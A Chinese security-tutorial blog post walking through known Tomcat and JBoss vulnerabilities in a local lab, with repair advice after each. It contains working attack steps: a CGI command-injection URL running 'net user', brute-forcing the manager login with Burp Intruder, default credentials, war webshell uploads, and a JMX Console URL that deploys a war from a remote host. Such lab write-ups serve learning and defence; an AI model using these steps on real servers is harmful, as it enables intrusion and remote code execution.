中间件安全基础(二)Tomcat & jBoss
目录
前言:
正文
中间件 —— Tomcat
1. Tomcat简介
2.Tomcat漏洞
0x01. Tomcat 任意文件写入(CVE-2017-12615)
0x02. Tomcat 远程代码执行(CVE-2019-0232)
0x03.Tomcat + 弱口令 && 后台getshell漏洞
0x04: Tomcat manager App 暴力破解
中间件 —— Jboss
1.Jboss简介
2.Windows下Jboss安装
3. Jboss漏洞
0x01:JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
扩展
0X02. JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)
0x03. Administration Console 弱口令
0x04 JMX Console未授权访问
前言: 继上一篇 后的另外3个,Tomcat,Jbossl两个中间件
根据自己总结,与网络上参考,收集~~~~~
正文
中间件 —— Tomcat
1. Tomcat简介
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML ( 标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。2.Tomcat漏洞 0x01. Tomcat 任意文件写入(CVE-2017-12615)
环境:Tomcat/8.0.30 漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件:
文章图片
增加完配置之后,记得重启Tomcat,效果如下:
文章图片
当readonly=true时,效果如下。 修复建议 将readonly=true,默认为true。
文章图片
修复建议 :将readonly=true,默认为true。
0x02. Tomcat 远程代码执行(CVE-2019-0232)
影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
影响系统: Windows
修改配置: web.xml
文章图片
文章图片
在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建lxhsec.bat文件,内容任意。
文章图片
【中间件安全基础(二)Tomcat & jBoss】执行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user
文章图片
Note:net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执 行失败,控制台报错。
修复建议 :这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。
0x03.Tomcat + 弱口令 && 后台getshell漏洞
环境:Apache Tomcat/7.0.94
在conf/tomcat-users.xml文件中配置用户的权限:
文章图片
正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
访问 http://127.0.0.1:8080/manager/html ,输入弱密码tomcat:tomcat,登陆后台。
文章图片
生成war包: jar -cvf lxhspy.war lxhspy.jsp 部署后,访问 http://127.0.0.1:8080/war包名/包名内文件名, 如下
文章图片
修复建议 :
1. 若无必要,取消manager/html功能。
2. 若要使用,manager页面应只允许本地IP访问
0x04: Tomcat manager App 暴力破解
环境:Apache Tomcat/7.0.94
访问:http://127.0.0.1:8080/manager/html, 输入密码,抓包,如下。
文章图片
刚才输入的账号密码在HTTP字段中的Authorization中,规则为Base64Encode(user:passwd) Authorization: Basic dG9tY2F0OmFkbWlu 解码之后如下:
文章图片
将数据包发送到intruder模块,并标记dG9tY2F0OmFkbWlu。
Payload type选择 Custom iterator,设置三个position,1为用户字典,2为:,3为密码字典,并增加Payload Processing 为Base64-encode如下
文章图片
最后取消Palyload Encoding编码。
文章图片
文章图片
修复建议
1. 若无必要,取消manager/html功能。
2. 若要使用,manager页面应只允许本地IP访问
中间件 —— Jboss 1.Jboss简介
jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支 持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080,9990
2.Windows下Jboss安装
1. 下载http://jbossas.jboss.org/downloads/
2. 解压,我这里解压后的目录为:C:\jboss-6.1.0.Final
3. 新建环境变量:JBOSS_HOME 值为: C:\jboss-6.1.0.Final
在path中加入:; %JBOSS_HOME%\bin;
4. 打开C:\jboss-6.1.0.Final\bin 双击run.bat。出现info消息,即配置成功
文章图片
Note:注意JDK版本要在1.6~1.7之间,1.8版本 jBoss运行打开JMX Console会出现500错误。
文章图片
jboss默认部署路径:C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
设置外网访问
将C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml
文章图片
将address="${jboss.bind.address}" 设置为address="0.0.0.0" ,并重启JBoss
3. Jboss漏洞
0x01:JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
访问 /invoker/readonly 返回500
说明页面存在,此页面存在反序列化漏洞。
文章图片
复现内容步骤:点击这里查看
漏洞建议:
建议用户升级到JBOSS AS7。另,不能及时升级的用户,可采取如下临时解决方案:扩展
1.不需要 http-invoker.sar 组件的用户可直接删除此组件。
2.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*
用于对 http invoker 组件进行访问控制。
JBoss EJBInvokerServlet 反序列化漏洞
访问 /invoker/EJBInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞。
文章图片
这里直接利用CVE-2017-12149生成的ser,发送到/invoker/EJBInvokerServlet接口中。
如下:
文章图片
修复建议
1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404
文章图片
2. 或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
/*
路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml
文章图片
0X02. JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)
环境:jboss-4.2.3
设置外网访问:
在C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml
将address="${jboss.bind.address} 改为:address="0.0.0.0", 重启Jboss
访问/jbossmq-httpil/HTTPServerILServlet,
返回This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。
文章图片
这里直接利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中。
文章图片
0x03. Administration Console 弱口令
Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包。
文章图片
2. Add a new resource,上传war包
文章图片
3. 点击创建的war包进入下一层,若状态为stop,点击Start按钮(默认都是start状态,不需要点击Start按钮)
文章图片
4. 访问。 http://xx.xx.xx.xx/[warname]/shellname.jsp
文章图片
修复建议
1. 修改密码 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
文章图片
2. 或删除Administration Console页面。
JBoss版本>=6.0,admin-console页面路径为: C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本,路径为C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
0x04 JMX Console未授权访问
JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面。
1. 在JMXConsole页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下
文章图片
2. 进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署
文章图片
3. 这里我部署的war包为lxh.war,链接如下:
http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war
4. 访问
http://xx.xx.xx.xx/[warname]/shellname.jsp
文章图片
修复建议
1. 增加密码措施,防止未授权访问。
1)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml开启安全配置。
文章图片
2)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml开启安全认证。
文章图片
3)在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMXConsole的用户密码配置位置。
props/jmx-console-users.properties
props/jmx-console-roles.properties
4)配置用户密码以及用户权限,这里新增lxhsec用户。
文章图片
5)重启JBoss,效果如下:
文章图片
2.或删除JMXConsole,后重启JBoss
C:\jboss-6.1.0.Final\common\deploy\jmx-console.war
文末 欢迎大佬加我一起交流交流~~~~
来自 lyshh 前辈的一篇文章,如果需要的话可以私信给我,我会发的
推荐阅读
- Python基础|Python基础 - 练习1
- NeuVector 会是下一个爆款云原生安全神器吗()
- Java|Java基础——数组
- Java基础-高级特性-枚举实现状态机
- 营养基础学20180331(课间随笔)??
- iOS面试题--基础
- HTML基础--基本概念--跟着李南江学编程
- typeScript入门基础介绍
- c++基础概念笔记
- 集体释放